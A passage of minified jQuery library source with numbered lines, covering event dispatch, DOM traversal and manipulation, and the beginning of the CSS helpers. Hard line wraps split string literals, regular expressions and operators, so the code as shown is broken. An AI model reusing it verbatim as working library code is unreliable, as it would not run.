  897. +x.event.triggered)&&(g.indexOf(".")>=0&&(m=g.split("."),g=m.shift(),m.sort()),l=0>g.indexOf(":")
  898.  
  899. &&"on"+g,n=n[x.expando]?n:new x.Event(g,"object"==typeof n&&n),n.isTrigger=o?2:3,n.namespace=m.join
  900.  
  901. ("."),n.namespace_re=n.namespace?RegExp("(^|\\.)"+m.join("\\.(?:.*\\.|)")+"(\\.|
  902.  
  903. $)"):null,n.result=t,n.target||(n.target=i),r=null==r?[n]:x.makeArray(r,[n]),p=x.event.special[g]||{},o||!
  904.  
  905. p.trigger||p.trigger.apply(i,r)!==!1)){if(!o&&!p.noBubble&&!x.isWindow(i)){for(c=p.delegateType||g,nt.test(c
  906.  
  907. +g)||(u=u.parentNode);u;u=u.parentNode)h.push(u),f=u;f===(i.ownerDocument||a)&&h.push
  908.  
  909. (f.defaultView||f.parentWindow||e)}d=0;while((u=h[d++])&&!n.isPropagationStopped())n.type=d>1?
  910.  
  911. c:p.bindType||g,s=(x._data(u,"events")||{})[n.type]&&x._data(u,"handle"),s&&s.apply(u,r),s=l&&u
  912.  
  913. [l],s&&x.acceptData(u)&&s.apply&&s.apply(u,r)===!1&&n.preventDefault();if(n.type=g,!o&&!
  914.  
  915. n.isDefaultPrevented()&&(!p._default||p._default.apply(h.pop(),r)===!1)&&x.acceptData(i)&&l&&i[g]&&!
  916.  
  917. x.isWindow(i)){f=i[l],f&&(i[l]=null),x.event.triggered=g;try{i[g]()}catch(y){}x.event.triggered=t,f&&(i[l]=f)}
  918.  
  919. return n.result}},dispatch:function(e){e=x.event.fix(e);var n,r,i,o,a,s=[],l=g.call(arguments),u=(x._data
  920.  
  921. (this,"events")||{})[e.type]||[],c=x.event.special[e.type]||{};if(l[0]=e,e.delegateTarget=this,!c.preDispatch||
  922.  
  923. c.preDispatch.call(this,e)!==!1){s=x.event.handlers.call(this,e,u),n=0;while((o=s[n++])&&!
  924.  
  925. e.isPropagationStopped()){e.currentTarget=o.elem,a=0;while((i=o.handlers[a++])&&!
  926.  
  927. e.isImmediatePropagationStopped())(!e.namespace_re||e.namespace_re.test(i.namespace))&&
  928.  
  929. (e.handleObj=i,e.data=i.data,r=((x.event.special[i.origType]||{}).handle||i.handler).apply(o.elem,l),r!==t&&
  930.  
  931. (e.result=r)===!1&&(e.preventDefault(),e.stopPropagation()))}return c.postDispatch&&c.postDispatch.call
  932.  
  933. (this,e),e.result}},handlers:function(e,n){var r,i,o,a,s=[],l=n.delegateCount,u=e.target;if(l&&u.nodeType&&(!
  934.  
  935. e.button||"click"!==e.type))for(;u!=this;u=u.parentNode||this)if(1===u.nodeType&&(u.disabled!==!
  936.  
  937. 0||"click"!==e.type)){for(o=[],a=0;l>a;a++)i=n[a],r=i.selector+" ",o[r]===t&&(o[r]=i.needsContext?x
  938.  
  939. (r,this).index(u)>=0:x.find(r,this,null,[u]).length),o[r]&&o.push(i);o.length&&s.push({elem:u,handlers:o})}
  940.  
  941. return n.length>l&&s.push({elem:this,handlers:n.slice(l)}),s},fix:function(e){if(e[x.expando])return e;var
  942.  
  943. t,n,r,i=e.type,o=e,s=this.fixHooks[i];s||(this.fixHooks[i]=s=tt.test(i)?this.mouseHooks:et.test(i)?this.keyHooks:
  944.  
  945. {}),r=s.props?this.props.concat(s.props):this.props,e=new x.Event(o),t=r.length;while(t--)n=r[t],e[n]=o
  946.  
  947. [n];return e.target||(e.target=o.srcElement||a),3===e.target.nodeType&&
  948.  
  949. (e.target=e.target.parentNode),e.metaKey=!!e.metaKey,s.filter?s.filter(e,o):e},props:"altKey bubbles
  950.  
  951. cancelable ctrlKey currentTarget eventPhase metaKey relatedTarget shiftKey target timeStamp view
  952.  
  953. which".split(" "),fixHooks:{},keyHooks:{props:"char charCode key keyCode".split(" "),filter:function(e,t){return
  954.  
  955. null==e.which&&(e.which=null!=t.charCode?t.charCode:t.keyCode),e}},mouseHooks:{props:"button buttons
  956.  
  957. clientX clientY fromElement offsetX offsetY pageX pageY screenX screenY toElement".split(" "),filter:function
  958.  
  959. (e,n){var r,i,o,s=n.button,l=n.fromElement;return null==e.pageX&&null!=n.clientX&&
  960.  
  961. (i=e.target.ownerDocument||a,o=i.documentElement,r=i.body,e.pageX=n.clientX+(o&&o.scrollLeft||
  962.  
  963. r&&r.scrollLeft||0)-(o&&o.clientLeft||r&&r.clientLeft||0),e.pageY=n.clientY+(o&&o.scrollTop||
  964.  
  965. r&&r.scrollTop||0)-(o&&o.clientTop||r&&r.clientTop||0)),!e.relatedTarget&&l&&
  966.  
  967. (e.relatedTarget=l===e.target?n.toElement:l),e.which||s===t||(e.which=1&s?1:2&s?3:4&s?2:0),e}},special:
  968.  
  969. {load:{noBubble:!0},focus:{trigger:function(){if(this!==at()&&this.focus)try{return this.focus(),!1}catch(e)
  970.  
  971. {}},delegateType:"focusin"},blur:{trigger:function(){return this===at()&&this.blur?(this.blur(),!
  972.  
  973. 1):t},delegateType:"focusout"},click:{trigger:function(){return x.nodeName(this,"input")
  974.  
  975. &&"checkbox"===this.type&&this.click?(this.click(),!1):t},_default:function(e){return x.nodeName
  976.  
  977. (e.target,"a")}},beforeunload:{postDispatch:function(e){e.result!==t&&
  978.  
  979. (e.originalEvent.returnValue=e.result)}}},simulate:function(e,t,n,r){var i=x.extend(new x.Event,n,
  980.  
  981. {type:e,isSimulated:!0,originalEvent:{}});r?x.event.trigger(i,null,t):x.event.dispatch.call
  982.  
  983. (t,i),i.isDefaultPrevented()&&n.preventDefault()}},x.removeEvent=a.removeEventListener?function(e,t,n)
  984.  
  985. {e.removeEventListener&&e.removeEventListener(t,n,!1)}:function(e,t,n){var r="on"+t;e.detachEvent&&
  986.  
  987. (typeof e[r]===i&&(e[r]=null),e.detachEvent(r,n))},x.Event=function(e,n){return this instanceof x.Event?
  988.  
  989. (e&&e.type?(this.originalEvent=e,this.type=e.type,this.isDefaultPrevented=e.defaultPrevented||
  990.  
  991. e.returnValue===!1||e.getPreventDefault&&e.getPreventDefault()?it:ot):this.type=e,n&&x.extend
  992.  
  993. (this,n),this.timeStamp=e&&e.timeStamp||x.now(),this[x.expando]=!0,t):new x.Event
  994.  
  995. (e,n)},x.Event.prototype=
  996.  
  997. {isDefaultPrevented:ot,isPropagationStopped:ot,isImmediatePropagationStopped:ot,preventDefault:function
  998.  
  999. (){var e=this.originalEvent;this.isDefaultPrevented=it,e&&(e.preventDefault?e.preventDefault
  1000.  
  1001. ():e.returnValue=!1)},stopPropagation:function(){var e=this.originalEvent;this.isPropagationStopped=it,e&&
  1002.  
  1003. (e.stopPropagation&&e.stopPropagation(),e.cancelBubble=!0)},stopImmediatePropagation:function()
  1004.  
  1005. {this.isImmediatePropagationStopped=it,this.stopPropagation()}},x.each
  1006.  
  1007. ({mouseenter:"mouseover",mouseleave:"mouseout"},function(e,t){x.event.special[e]=
  1008.  
  1009. {delegateType:t,bindType:t,handle:function(e){var n,r=this,i=e.relatedTarget,o=e.handleObj;return(!i||i!
  1010.  
  1011. ==r&&!x.contains(r,i))&&(e.type=o.origType,n=o.handler.apply
  1012.  
  1013. (this,arguments),e.type=t),n}}}),x.support.submitBubbles||(x.event.special.submit={setup:function(){return
  1014.  
  1015. x.nodeName(this,"form")?!1:(x.event.add(this,"click._submit keypress._submit",function(e){var
  1016.  
  1017. n=e.target,r=x.nodeName(n,"input")||x.nodeName(n,"button")?n.form:t;r&&!x._data(r,"submitBubbles")&&
  1018.  
  1019. (x.event.add(r,"submit._submit",function(e){e._submit_bubble=!0}),x._data(r,"submitBubbles",!
  1020.  
  1021. 0))}),t)},postDispatch:function(e){e._submit_bubble&&(delete e._submit_bubble,this.parentNode&&!
  1022.  
  1023. e.isTrigger&&x.event.simulate("submit",this.parentNode,e,!0))},teardown:function(){return x.nodeName
  1024.  
  1025. (this,"form")?!1:(x.event.remove(this,"._submit"),t)}}),x.support.changeBubbles||(x.event.special.change=
  1026.  
  1027. {setup:function(){return Z.test(this.nodeName)?(("checkbox"===this.type||"radio"===this.type)&&
  1028.  
  1029. (x.event.add(this,"propertychange._change",function(e){"checked"===e.originalEvent.propertyName&&
  1030.  
  1031. (this._just_changed=!0)}),x.event.add(this,"click._change",function(e){this._just_changed&&!e.isTrigger&&
  1032.  
  1033. (this._just_changed=!1),x.event.simulate("change",this,e,!0)})),!1):(x.event.add
  1034.  
  1035. (this,"beforeactivate._change",function(e){var t=e.target;Z.test(t.nodeName)&&!x._data(t,"changeBubbles")
  1036.  
  1037. &&(x.event.add(t,"change._change",function(e){!this.parentNode||e.isSimulated||e.isTrigger||
  1038.  
  1039. x.event.simulate("change",this.parentNode,e,!0)}),x._data(t,"changeBubbles",!0))}),t)},handle:function(e){var
  1040.  
  1041. n=e.target;return this!==n||e.isSimulated||e.isTrigger||"radio"!==n.type&&"checkbox"!==n.type?
  1042.  
  1043. e.handleObj.handler.apply(this,arguments):t},teardown:function(){return x.event.remove(this,"._change"),!
  1044.  
  1045. Z.test(this.nodeName)}}),x.support.focusinBubbles||x.each({focus:"focusin",blur:"focusout"},function(e,t){var
  1046.  
  1047. n=0,r=function(e){x.event.simulate(t,e.target,x.event.fix(e),!0)};x.event.special[t]={setup:function(){0===n+
  1048.  
  1049. +&&a.addEventListener(e,r,!0)},teardown:function(){0===--n&&a.removeEventListener(e,r,!0)}}}),x.fn.extend
  1050.  
  1051. ({on:function(e,n,r,i,o){var a,s;if("object"==typeof e){"string"!=typeof n&&(r=r||n,n=t);for(a in e)this.on(a,n,r,e
  1052.  
  1053. [a],o);return this}if(null==r&&null==i?(i=n,r=n=t):null==i&&("string"==typeof n?(i=r,r=t):(i=r,r=n,n=t)),i===!1)
  1054.  
  1055. i=ot;else if(!i)return this;return 1===o&&(s=i,i=function(e){return x().off(e),s.apply
  1056.  
  1057. (this,arguments)},i.guid=s.guid||(s.guid=x.guid++)),this.each(function(){x.event.add
  1058.  
  1059. (this,e,i,r,n)})},one:function(e,t,n,r){return this.on(e,t,n,r,1)},off:function(e,n,r){var i,o;if
  1060.  
  1061. (e&&e.preventDefault&&e.handleObj)return i=e.handleObj,x(e.delegateTarget).off(i.namespace?i.origType
  1062.  
  1063. +"."+i.namespace:i.origType,i.selector,i.handler),this;if("object"==typeof e){for(o in e)this.off(o,n,e[o]);return
  1064.  
  1065. this}return(n===!1||"function"==typeof n)&&(r=n,n=t),r===!1&&(r=ot),this.each(function(){x.event.remove
  1066.  
  1067. (this,e,r,n)})},trigger:function(e,t){return this.each(function(){x.event.trigger
  1068.  
  1069. (e,t,this)})},triggerHandler:function(e,n){var r=this[0];return r?x.event.trigger(e,n,r,!0):t}});var st=/^.[^:#\[\.,]*
  1070.  
  1071. $/,lt=/^(?:parents|prev(?:Until|All))/,ut=x.expr.match.needsContext,ct={children:!0,contents:!0,next:!0,prev:!
  1072.  
  1073. 0};x.fn.extend({find:function(e){var t,n=[],r=this,i=r.length;if("string"!=typeof e)return this.pushStack(x
  1074.  
  1075. (e).filter(function(){for(t=0;i>t;t++)if(x.contains(r[t],this))return!0}));for(t=0;i>t;t++)x.find(e,r[t],n);return
  1076.  
  1077. n=this.pushStack(i>1?x.unique(n):n),n.selector=this.selector?this.selector+" "+e:e,n},has:function(e){var t,n=x
  1078.  
  1079. (e,this),r=n.length;return this.filter(function(){for(t=0;r>t;t++)if(x.contains(this,n[t]))return!0})},not:function(e)
  1080.  
  1081. {return this.pushStack(ft(this,e||[],!0))},filter:function(e){return this.pushStack(ft(this,e||[],!1))},is:function(e)
  1082.  
  1083. {return!!ft(this,"string"==typeof e&&ut.test(e)?x(e):e||[],!1).length},closest:function(e,t){var
  1084.  
  1085. n,r=0,i=this.length,o=[],a=ut.test(e)||"string"!=typeof e?x(e,t||this.context):0;for(;i>r;r++)for(n=this[r];n&&n!
  1086.  
  1087. ==t;n=n.parentNode)if(11>n.nodeType&&(a?a.index(n)>-1:1===n.nodeType&&x.find.matchesSelector(n,e)))
  1088.  
  1089. {n=o.push(n);break}return this.pushStack(o.length>1?x.unique(o):o)},index:function(e){return
  1090.  
  1091. e?"string"==typeof e?x.inArray(this[0],x(e)):x.inArray(e.jquery?e[0]:e,this):this[0]&&this[0].parentNode?
  1092.  
  1093. this.first().prevAll().length:-1},add:function(e,t){var n="string"==typeof e?x(e,t):x.makeArray
  1094.  
  1095. (e&&e.nodeType?[e]:e),r=x.merge(this.get(),n);return this.pushStack(x.unique(r))},addBack:function(e){return
  1096.  
  1097. this.add(null==e?this.prevObject:this.prevObject.filter(e))}});function pt(e,t){do e=e[t];while(e&&1!
  1098.  
  1099. ==e.nodeType);return e}x.each({parent:function(e){var t=e.parentNode;return t&&11!==t.nodeType?
  1100.  
  1101. t:null},parents:function(e){return x.dir(e,"parentNode")},parentsUntil:function(e,t,n){return x.dir
  1102.  
  1103. (e,"parentNode",n)},next:function(e){return pt(e,"nextSibling")},prev:function(e){return pt
  1104.  
  1105. (e,"previousSibling")},nextAll:function(e){return x.dir(e,"nextSibling")},prevAll:function(e){return x.dir
  1106.  
  1107. (e,"previousSibling")},nextUntil:function(e,t,n){return x.dir(e,"nextSibling",n)},prevUntil:function(e,t,n){return
  1108.  
  1109. x.dir(e,"previousSibling",n)},siblings:function(e){return x.sibling((e.parentNode||
  1110.  
  1111. {}).firstChild,e)},children:function(e){return x.sibling(e.firstChild)},contents:function(e){return x.nodeName
  1112.  
  1113. (e,"iframe")?e.contentDocument||e.contentWindow.document:x.merge([],e.childNodes)}},function(e,t){x.fn
  1114.  
  1115. [e]=function(n,r){var i=x.map(this,t,n);return"Until"!==e.slice(-5)&&(r=n),r&&"string"==typeof r&&(i=x.filter
  1116.  
  1117. (r,i)),this.length>1&&(ct[e]||(i=x.unique(i)),lt.test(e)&&(i=i.reverse())),this.pushStack(i)}}),x.extend
  1118.  
  1119. ({filter:function(e,t,n){var r=t[0];return n&&(e=":not("+e+")"),1===t.length&&1===r.nodeType?
  1120.  
  1121. x.find.matchesSelector(r,e)?[r]:[]:x.find.matches(e,x.grep(t,function(e){return 1===e.nodeType}))},dir:function
  1122.  
  1123. (e,n,r){var i=[],o=e[n];while(o&&9!==o.nodeType&&(r===t||1!==o.nodeType||!x(o).is(r)))
  1124.  
  1125. 1===o.nodeType&&i.push(o),o=o[n];return i},sibling:function(e,t){var n=[];for(;e;e=e.nextSibling)
  1126.  
  1127. 1===e.nodeType&&e!==t&&n.push(e);return n}});function ft(e,t,n){if(x.isFunction(t))return x.grep(e,function
  1128.  
  1129. (e,r){return!!t.call(e,r,e)!==n});if(t.nodeType)return x.grep(e,function(e){return e===t!==n});if("string"==typeof
  1130.  
  1131. t){if(st.test(t))return x.filter(t,e,n);t=x.filter(t,e)}return x.grep(e,function(e){return x.inArray(e,t)>=0!==n})}
  1132.  
  1133. function dt(e){var t=ht.split("|"),n=e.createDocumentFragment();if(n.createElement)while(t.length)
  1134.  
  1135. n.createElement(t.pop());return n}var ht="abbr|article|aside|audio|bdi|canvas|data|datalist|details|
  1136.  
  1137. figcaption|figure|footer|header|hgroup|mark|meter|nav|output|progress|section|summary|time|
  1138.  
  1139. video",gt=/ jQuery\d+="(?:null|\d+)"/g,mt=RegExp("<(?:"+ht+")[\\s/>]","i"),yt=/^\s+/,vt=/<(?!area|br|col|
  1140.  
  1141. embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/gi,bt=/<([\w:]+)/,xt=/<tbody/i,wt=/<|&#?\w
  1142.  
  1143. +;/,Tt=/<(?:script|style|link)/i,Ct=/^(?:checkbox|radio)$/i,Nt=/checked\s*(?:[^=]|=\s*.checked.)/i,kt=/^$|\/
  1144.  
  1145. (?:java|ecma)script/i,Et=/^true\/(.*)/,St=/^\s*<!(?:\[CDATA\[|--)|(?:\]\]|--)>\s*$/g,At={option:[1,"<select
  1146.  
  1147. multiple='multiple'>","</select>"],legend:[1,"<fieldset>","</fieldset>"],area:[1,"<map>","</map>"],param:
  1148.  
  1149. [1,"<object>","</object>"],thead:[1,"<table>","</table>"],tr:[2,"<table><tbody>","</tbody></table>"],col:
  1150.  
  1151. [2,"<table><tbody></tbody><colgroup>","</colgroup></table>"],td:
  1152.  
  1153. [3,"<table><tbody><tr>","</tr></tbody></table>"],_default:x.support.htmlSerialize?[0,"",""]:
  1154.  
  1155. [1,"X<div>","</div>"]},jt=dt(a),Dt=jt.appendChild(a.createElement
  1156.  
  1157. ("div"));At.optgroup=At.option,At.tbody=At.tfoot=At.colgroup=At.caption=At.thead,At.th=At.td,x.fn.extend
  1158.  
  1159. ({text:function(e){return x.access(this,function(e){return e===t?x.text(this):this.empty().append((this[0]
  1160.  
  1161. &&this[0].ownerDocument||a).createTextNode(e))},null,e,arguments.length)},append:function(){return
  1162.  
  1163. this.domManip(arguments,function(e){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var
  1164.  
  1165. t=Lt(this,e);t.appendChild(e)}})},prepend:function(){return this.domManip(arguments,function(e){if
  1166.  
  1167. (1===this.nodeType||11===this.nodeType||9===this.nodeType){var t=Lt(this,e);t.insertBefore
  1168.  
  1169. (e,t.firstChild)}})},before:function(){return this.domManip(arguments,function(e)
  1170.  
  1171. {this.parentNode&&this.parentNode.insertBefore(e,this)})},after:function(){return this.domManip
  1172.  
  1173. (arguments,function(e){this.parentNode&&this.parentNode.insertBefore
  1174.  
  1175. (e,this.nextSibling)})},remove:function(e,t){var n,r=e?x.filter(e,this):this,i=0;for(;null!=(n=r[i]);i++)t||1!
  1176.  
  1177. ==n.nodeType||x.cleanData(Ft(n)),n.parentNode&&(t&&x.contains(n.ownerDocument,n)&&_t(Ft
  1178.  
  1179. (n,"script")),n.parentNode.removeChild(n));return this},empty:function(){var e,t=0;for(;null!=(e=this[t]);t++)
  1180.  
  1181. {1===e.nodeType&&x.cleanData(Ft(e,!1));while(e.firstChild)e.removeChild
  1182.  
  1183. (e.firstChild);e.options&&x.nodeName(e,"select")&&(e.options.length=0)}return this},clone:function(e,t)
  1184.  
  1185. {return e=null==e?!1:e,t=null==t?e:t,this.map(function(){return x.clone(this,e,t)})},html:function(e){return
  1186.  
  1187. x.access(this,function(e){var n=this[0]||{},r=0,i=this.length;if(e===t)return 1===n.nodeType?
  1188.  
  1189. n.innerHTML.replace(gt,""):t;if(!("string"!=typeof e||Tt.test(e)||!x.support.htmlSerialize&&mt.test(e)||!
  1190.  
  1191. x.support.leadingWhitespace&&yt.test(e)||At[(bt.exec(e)||["",""])[1].toLowerCase()])){e=e.replace(vt,"<
  1192.  
  1193. $1></$2>");try{for(;i>r;r++)n=this[r]||{},1===n.nodeType&&(x.cleanData(Ft(n,!1)),n.innerHTML=e);n=0}catch(o)
  1194.  
  1195. {}}n&&this.empty().append(e)},null,e,arguments.length)},replaceWith:function(){var e=x.map(this,function(e)
  1196.  
  1197. {return[e.nextSibling,e.parentNode]}),t=0;return this.domManip(arguments,function(n){var r=e[t++],i=e[t+
  1198.  
  1199. +];i&&(r&&r.parentNode!==i&&(r=this.nextSibling),x(this).remove(),i.insertBefore(n,r))},!0),t?
  1200.  
  1201. this:this.remove()},detach:function(e){return this.remove(e,!0)},domManip:function(e,t,n){e=d.apply([],e);var
  1202.  
  1203. r,i,o,a,s,l,u=0,c=this.length,p=this,f=c-1,h=e[0],g=x.isFunction(h);if(g||!(1>=c||"string"!=typeof h||
  1204.  
  1205. x.support.checkClone)&&Nt.test(h))return this.each(function(r){var i=p.eq(r);g&&(e[0]=h.call(this,r,i.html
  1206.  
  1207. ())),i.domManip(e,t,n)});if(c&&(l=x.buildFragment(e,this[0].ownerDocument,!1,!
  1208.  
  1209. n&&this),r=l.firstChild,1===l.childNodes.length&&(l=r),r)){for(a=x.map(Ft(l,"script"),Ht),o=a.length;c>u;u++)
  1210.  
  1211. i=l,u!==f&&(i=x.clone(i,!0,!0),o&&x.merge(a,Ft(i,"script"))),t.call(this[u],i,u);if(o)for(s=a[a.length-
  1212.  
  1213. 1].ownerDocument,x.map(a,qt),u=0;o>u;u++)i=a[u],kt.test(i.type||"")&&!x._data(i,"globalEval")&&x.contains
  1214.  
  1215. (s,i)&&(i.src?x._evalUrl(i.src):x.globalEval((i.text||i.textContent||i.innerHTML||"").replace(St,"")));l=r=null}
  1216.  
  1217. return this}});function Lt(e,t){return x.nodeName(e,"table")&&x.nodeName(1===t.nodeType?
  1218.  
  1219. t:t.firstChild,"tr")?e.getElementsByTagName("tbody")[0]||e.appendChild(e.ownerDocument.createElement
  1220.  
  1221. ("tbody")):e}function Ht(e){return e.type=(null!==x.find.attr(e,"type"))+"/"+e.type,e}function qt(e){var
  1222.  
  1223. t=Et.exec(e.type);return t?e.type=t[1]:e.removeAttribute("type"),e}function _t(e,t){var n,r=0;for(;null!=(n=e
  1224.  
  1225. [r]);r++)x._data(n,"globalEval",!t||x._data(t[r],"globalEval"))}function Mt(e,t){if(1===t.nodeType&&x.hasData
  1226.  
  1227. (e)){var n,r,i,o=x._data(e),a=x._data(t,o),s=o.events;if(s){delete a.handle,a.events={};for(n in s)for(r=0,i=s
  1228.  
  1229. [n].length;i>r;r++)x.event.add(t,n,s[n][r])}a.data&&(a.data=x.extend({},a.data))}}function Ot(e,t){var n,r,i;if
  1230.  
  1231. (1===t.nodeType){if(n=t.nodeName.toLowerCase(),!x.support.noCloneEvent&&t[x.expando]){i=x._data(t);for(r
  1232.  
  1233. in i.events)x.removeEvent(t,r,i.handle);t.removeAttribute(x.expando)}"script"===n&&t.text!==e.text?(Ht
  1234.  
  1235. (t).text=e.text,qt(t)):"object"===n?(t.parentNode&&
  1236.  
  1237. (t.outerHTML=e.outerHTML),x.support.html5Clone&&e.innerHTML&&!x.trim(t.innerHTML)&&
  1238.  
  1239. (t.innerHTML=e.innerHTML)):"input"===n&&Ct.test(e.type)?(t.defaultChecked=t.checked=e.checked,t.value!
  1240.  
  1241. ==e.value&&(t.value=e.value)):"option"===n?t.defaultSelected=t.selected=e.defaultSelected:
  1242.  
  1243. ("input"===n||"textarea"===n)&&(t.defaultValue=e.defaultValue)}}x.each
  1244.  
  1245. ({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"
  1246.  
  1247. },function(e,t){x.fn[e]=function(e){var n,r=0,i=[],o=x(e),a=o.length-1;for(;a>=r;r++)n=r===a?this:this.clone(!0),x
  1248.  
  1249. (o[r])[t](n),h.apply(i,n.get());return this.pushStack(i)}});function Ft(e,n){var r,o,a=0,s=typeof
  1250.  
  1251. e.getElementsByTagName!==i?e.getElementsByTagName(n||"*"):typeof e.querySelectorAll!==i?
  1252.  
  1253. e.querySelectorAll(n||"*"):t;if(!s)for(s=[],r=e.childNodes||e;null!=(o=r[a]);a++)!n||x.nodeName(o,n)?s.push
  1254.  
  1255. (o):x.merge(s,Ft(o,n));return n===t||n&&x.nodeName(e,n)?x.merge([e],s):s}function Bt(e){Ct.test(e.type)&&
  1256.  
  1257. (e.defaultChecked=e.checked)}x.extend({clone:function(e,t,n){var r,i,o,a,s,l=x.contains
  1258.  
  1259. (e.ownerDocument,e);if(x.support.html5Clone||x.isXMLDoc(e)||!mt.test("<"+e.nodeName+">")?
  1260.  
  1261. o=e.cloneNode(!0):(Dt.innerHTML=e.outerHTML,Dt.removeChild(o=Dt.firstChild)),!
  1262.  
  1263. (x.support.noCloneEvent&&x.support.noCloneChecked||1!==e.nodeType&&11!==e.nodeType||x.isXMLDoc
  1264.  
  1265. (e)))for(r=Ft(o),s=Ft(e),a=0;null!=(i=s[a]);++a)r[a]&&Ot(i,r[a]);if(t)if(n)for(s=s||Ft(e),r=r||Ft(o),a=0;null!=(i=s
  1266.  
  1267. [a]);a++)Mt(i,r[a]);else Mt(e,o);return r=Ft(o,"script"),r.length>0&&_t(r,!l&&Ft
  1268.  
  1269. (e,"script")),r=s=i=null,o},buildFragment:function(e,t,n,r){var i,o,a,s,l,u,c,p=e.length,f=dt(t),d=[],h=0;for(;p>h;h
  1270.  
  1271. ++)if(o=e[h],o||0===o)if("object"===x.type(o))x.merge(d,o.nodeType?[o]:o);else if(wt.test(o)){s=s||
  1272.  
  1273. f.appendChild(t.createElement("div")),l=(bt.exec(o)||["",""])[1].toLowerCase(),c=At[l]||
  1274.  
  1275. At._default,s.innerHTML=c[1]+o.replace(vt,"<$1></$2>")+c[2],i=c[0];while(i--)s=s.lastChild;if(!
  1276.  
  1277. x.support.leadingWhitespace&&yt.test(o)&&d.push(t.createTextNode(yt.exec(o)[0])),!x.support.tbody)
  1278.  
  1279. {o="table"!==l||xt.test(o)?"<table>"!==c[1]||xt.test(o)?0:s:s.firstChild,i=o&&o.childNodes.length;while(i--)
  1280.  
  1281. x.nodeName(u=o.childNodes[i],"tbody")&&!u.childNodes.length&&o.removeChild(u)}x.merge
  1282.  
  1283. (d,s.childNodes),s.textContent="";while(s.firstChild)s.removeChild(s.firstChild);s=f.lastChild}else d.push
  1284.  
  1285. (t.createTextNode(o));s&&f.removeChild(s),x.support.appendChecked||x.grep(Ft(d,"input"),Bt),h=0;while
  1286.  
  1287. (o=d[h++])if((!r||-1===x.inArray(o,r))&&(a=x.contains(o.ownerDocument,o),s=Ft(f.appendChild
  1288.  
  1289. (o),"script"),a&&_t(s),n)){i=0;while(o=s[i++])kt.test(o.type||"")&&n.push(o)}return
  1290.  
  1291. s=null,f},cleanData:function(e,t){var
  1292.  
  1293. n,r,o,a,s=0,l=x.expando,u=x.cache,c=x.support.deleteExpando,f=x.event.special;for(;null!=(n=e[s]);s++)if((t||
  1294.  
  1295. x.acceptData(n))&&(o=n[l],a=o&&u[o])){if(a.events)for(r in a.events)f[r]?x.event.remove(n,r):x.removeEvent
  1296.  
  1297. (n,r,a.handle);
  1298. u[o]&&(delete u[o],c?delete n[l]:typeof n.removeAttribute!==i?n.removeAttribute(l):n[l]=null,p.push
  1299.  
  1300. (o))}},_evalUrl:function(e){return x.ajax({url:e,type:"GET",dataType:"script",async:!1,global:!1,"throws":!
  1301.  
  1302. 0})}}),x.fn.extend({wrapAll:function(e){if(x.isFunction(e))return this.each(function(t){x(this).wrapAll(e.call
  1303.  
  1304. (this,t))});if(this[0]){var t=x(e,this[0].ownerDocument).eq(0).clone(!0);this[0].parentNode&&t.insertBefore
  1305.  
  1306. (this[0]),t.map(function(){var e=this;while(e.firstChild&&1===e.firstChild.nodeType)e=e.firstChild;return
  1307.  
  1308. e}).append(this)}return this},wrapInner:function(e){return x.isFunction(e)?this.each(function(t){x
  1309.  
  1310. (this).wrapInner(e.call(this,t))}):this.each(function(){var t=x(this),n=t.contents();n.length?n.wrapAll
  1311.  
  1312. (e):t.append(e)})},wrap:function(e){var t=x.isFunction(e);return this.each(function(n){x(this).wrapAll(t?e.call
  1313.  
  1314. (this,n):e)})},unwrap:function(){return this.parent().each(function(){x.nodeName(this,"body")||x
  1315.  
  1316. (this).replaceWith(this.childNodes)}).end()}});var Pt,Rt,Wt,$t=/alpha\([^)]*\)/i,It=/opacity\s*=\s*([^)]*)/,zt=/^
  1317.  
  1318. (top|right|bottom|left)$/,Xt=/^(none|table(?!-c[ea]).+)/,Ut=/^margin/,Vt=RegExp("^("+w+")
  1319.  
  1320. (.*)$","i"),Yt=RegExp("^("+w+")(?!px)[a-z%]+$","i"),Jt=RegExp("^([+-])=("+w+")","i"),Gt={BODY:"block"},Qt=
  1321.  
  1322. {position:"absolute",visibility:"hidden",display:"block"},Kt={letterSpacing:0,fontWeight:400},Zt=
  1323.  
  1324. ["Top","Right","Bottom","Left"],en=["Webkit","O","Moz","ms"];function tn(e,t){if(t in e)return t;var n=t.charAt
  1325.  
  1326. (0).toUpperCase()+t.slice(1),r=t,i=en.length;while(i--)if(t=en[i]+n,t in e)return t;return r}function nn(e,t){return
  1327.  
  1328. e=t||e,"none"===x.css(e,"display")||!x.contains(e.ownerDocument,e)}function rn(e,t){var n,r,i,o=
  1329.  
  1330. [],a=0,s=e.length;for(;s>a;a++)r=e[a],r.style&&(o[a]=x._data(r,"olddisplay"),n=r.style.display,t?(o[a]||"none"!
  1331.  
  1332. ==n||(r.style.display=""),""===r.style.display&&nn(r)&&(o[a]=x._data(r,"olddisplay",ln(r.nodeName)))):o[a]||
  1333.  
  1334. (i=nn(r),(n&&"none"!==n||!i)&&x._data(r,"olddisplay",i?n:x.css(r,"display"))));for(a=0;s>a;a++)r=e[a],r.style&&
  1335.  
  1336. (t&&"none"!==r.style.display&&""!==r.style.display||(r.style.display=t?o[a]||"":"none"));return e}x.fn.extend
  1337.  
  1338. ({css:function(e,n){return x.access(this,function(e,n,r){var i,o,a={},s=0;if(x.isArray(n)){for(o=Rt
  1339.  
  1340. (e),i=n.length;i>s;s++)a[n[s]]=x.css(e,n[s],!1,o);return a}return r!==t?x.style(e,n,r):x.css
  1341.  
  1342. (e,n)},e,n,arguments.length>1)},show:function(){return rn(this,!0)},hide:function(){return rn
  1343.  
  1344. (this)},toggle:function(e){return"boolean"==typeof e?e?this.show():this.hide():this.each(function(){nn(this)?x
  1345.  
  1346. (this).show():x(this).hide()})}}),x.extend({cssHooks:{opacity:{get:function(e,t){if(t){var n=Wt
  1347.  
  1348. (e,"opacity");return""===n?"1":n}}}},cssNumber:{columnCount:!0,fillOpacity:!0,fontWeight:!0,lineHeight:!
  1349.  
  1350. 0,opacity:!0,order:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:
  1351.  
  1352. {"float":x.support.cssFloat?"cssFloat":"styleFloat"},style:function(e,n,r,i){if(e&&3!==e.nodeType&&8!
  1353.  
  1354. ==e.nodeType&&e.style){var o,a,s,l=x.camelCase(n),u=e.style;if(n=x.cssProps[l]||(x.cssProps[l]=tn
  1355.  
